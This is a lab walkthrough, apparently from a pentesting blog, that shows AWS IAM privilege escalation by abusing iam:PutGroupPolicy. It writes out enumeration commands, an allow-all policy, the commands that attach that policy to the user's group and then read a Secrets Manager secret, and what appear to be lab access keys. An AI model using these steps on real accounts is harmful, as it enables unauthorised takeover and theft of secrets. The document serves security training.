AWS Pentesting: IAM Privilege Escalation via iam:PutGroupPolicy

In this writeup, we will do another walkthrough on Cybr’s IAM PutGroupPolicy PrivEsc lab, which highlights privilege escalation by abusing the iam:PutGroupPolicy permissions.

The image below shows that our access is an IAM user named “iam-putgrouppolicy-privesc-1734843804411-SeniorArchitect ”

Lets then check the inline and the attached policies for this IAM user using the commands below

aws iam list-user-policies --user-name iam-putgrouppolicy-privesc-1734843804411-SeniorArchitect --profile PutGroupPolicy
aws iam list-attached-user-policies --user-name iam-putgrouppolicy-privesc-1734843804411-SeniorArchitect  --profile PutGroupPolicy

The image above shows that there is no inline policies attached for the user. This user is also not allowed to check the attached user policies.

Lets then try to use aws-enumerator tool which we can get from this Github link.

We need to configure the Access Key and the Secret including the region as shown below.

./aws-enumerator cred  -aws_access_key_id  AKIAQGYBPW34I4Q5D6DG -aws_secret_access_key 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

./aws-enumerator enum -services all -speed slow

./aws-enumerator dump -services sts,iam

The outcome of the command shows we have permission to ListUser,ListGroups,ListPolicies, and ListUsers.

Let’s check first the group by running “list-groups”. Note that in this lab, you may get several groups.

aws iam list-groups --profile <profile>
aws iam list-groups --profile PutGroupPolicy

If you happen to have a lot of groups. Use the “list-groups-for-user” command.

aws iam list-groups-for-user --user-name <iam name> --profile <profile name>
aws iam list-groups-for-user --user-name iam-putgrouppolicy-privesc-1734843804411-SeniorArchitect --profile PutGroupPolicy

The result above shows that our IAM user is part of “iam-putgrouppolicy-privesc-1734843804411-Infrastructure” group.

Next, lets get the inline and attached policies of this group by running “list-group-policies” and “list-attached-group-policies”

aws iam list-group-policies --group-name  <group-name>  --profile <profile name>
aws iam list-group-policies --group-name  iam-putgrouppolicy-privesc-1734843804411-Infrastructure --profile PutGroupPolicy
aws iam list-attached-group-policies --group-name  <group-name>  --profile PutGroupPolicy
aws iam list-attached-group-policies --group-name  iam-putgrouppolicy-privesc-1734843804411-Infrastructure --profile PutGroupPolicy

The image below shows that there is an inline policy for this group named iam-putgrouppolicy-privesc-1734843804411-infrastructure. However our user has no permission to check for attached group policies.

We can then review this policy by running “get-group-policy” as shown below.

aws iam get-group-policy --group-name <group-name> --policy-name <policy-name> --profile PutRolePolicy
aws iam get-group-policy --group-name iam-putgrouppolicy-privesc-1734843804411-Infrastructure --policy-name iam-putgrouppolicy-privesc-1734843804411-infrastructure --profile PutGroupPolicy

The image above shows that our IAM user has an iam:PutGroupPolicy.

The iam:PutGroupPolicy permission allows an IAM entity (e.g., a user or role) to attach an inline policy to an IAM group. Inline policies define additional permissions for the group. This permission introduces a privilege escalation risk because the attacker can exploit this permission to escalate their access within the AWS environment.

As an option, we can run Pacu for further confirmation of this privilege escalation vector.

docker run -it rhinosecuritylabs/pacu:latest
import_keys AttachRolePolicy 
#or run below if you cant import keys
set_keys
#enter the AWS Keys manually

Run the iam__enum_permissions and iam__enum_users_roles_policies_groups modules as shown below to enumerate the IAM environment.

run iam__enum_permissions
run iam__enum_users_roles_policies_groups
run iam__privesc_scan

After enumerating, run iam__privesc_scan module, to check for privilege escalation vector.

Notice in the image below that “PutGroupPolicy” shows “confirmed”

Now, the lab specifically mentioned that the ultimate goal is to get access to a secret in the Secret Manager service.

One may wonder how can we get an idea that Secret Manager is used by the target organization?

The simplest way to gather this information is during an alignment call or by requesting it as part of the prerequisites. Along with the AWS Account ID, you can ask the customer to provide a list of all the services utilized by the target organization. Additionally, you can request details about the specific regions where these services are deployed. This ensures clarity and helps streamline the assessment process.

Sometimes the client will provide you with a detailed list, including the AWS architecture. Other times, the client will just provide a high-level overview of the services used.

Also, when the client already provided you an IAM user with arn:aws:iam::aws:policy/ReadOnlyAccess permission, you will also have an idea of the services used by the target organization.

We dont have permission to the Secret Manager service as shown in the output of the commands below.

aws secretsmanager list-secrets - profile <profile name>
aws secretsmanager list-secrets --profile PutGroupPolicy

The iam:PutGroupPolicy permission available to our IAM user will help us configure a policy for the IAM group, allowing our user to access the Secrets Manager service

Just for testing, create an IAM policy that grants full administrative access or allows all actions across all AWS service. Make sure to remove this policy after the assessment.

{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
      }
    ]
  }

Now let’s upload this policy to our IAM group. We named this policy as “secretaccess”.

aws iam put-group-policy --group-name <group-name> --policy-name <policy name> --policy-document <policy document> --profile <policy name>
aws iam put-group-policy --group-name iam-putgrouppolicy-privesc-1734846924573-Infrastructure --policy-name secretsaccess --policy-document file://policy.json --profile PutGroupPolicy

Next, lets validate the uploaded policy. We will now notice that “secretaccess” policy is now configured to the IAM group of which our IAM user is a member.

aws iam list-group-policies --group-name <group name> --profile <policy name>
aws iam list-group-policies --group-name iam-putgrouppolicy-privesc-1734846924573-Infrastructure --profile PutGroupPolicy

aws iam get-group-policy --group-name <group name> --policy-name <policy name>
aws iam get-group-policy --group-name iam-putgrouppolicy-privesc-1734846924573-Infrastructure --policy-name secretsaccess  --profile PutGroupPolicy

aws secretsmanager list-secrets --profile <profile name>
aws secretsmanager list-secrets --profile PutGroupPolicy

The image above demonstrates that we have successfully escalated our privileges.

As the last step, use the get-secret-value secretmanager command to read the secret.

aws secretsmanager get-secret-value --secret-id <secret id> --profile <profile name>

aws secretsmanager get-secret-value --secret-id iam-put<redacted>-final_flag --profile PutGroupPolicy

Conclusion:

In this walkthrough, we showed how privilege escalation can be performed by abusing the iam:PutGroupPolicy permission. In this lab, we also showed our recon methodology on IAM permissions and covered tools such as IAM Enumerator and Pacu.

References:

https://cybr.com/hands-on-labs/lab/iam-putgrouppolicy-privesc/
https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/
https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutGroupPolicy.html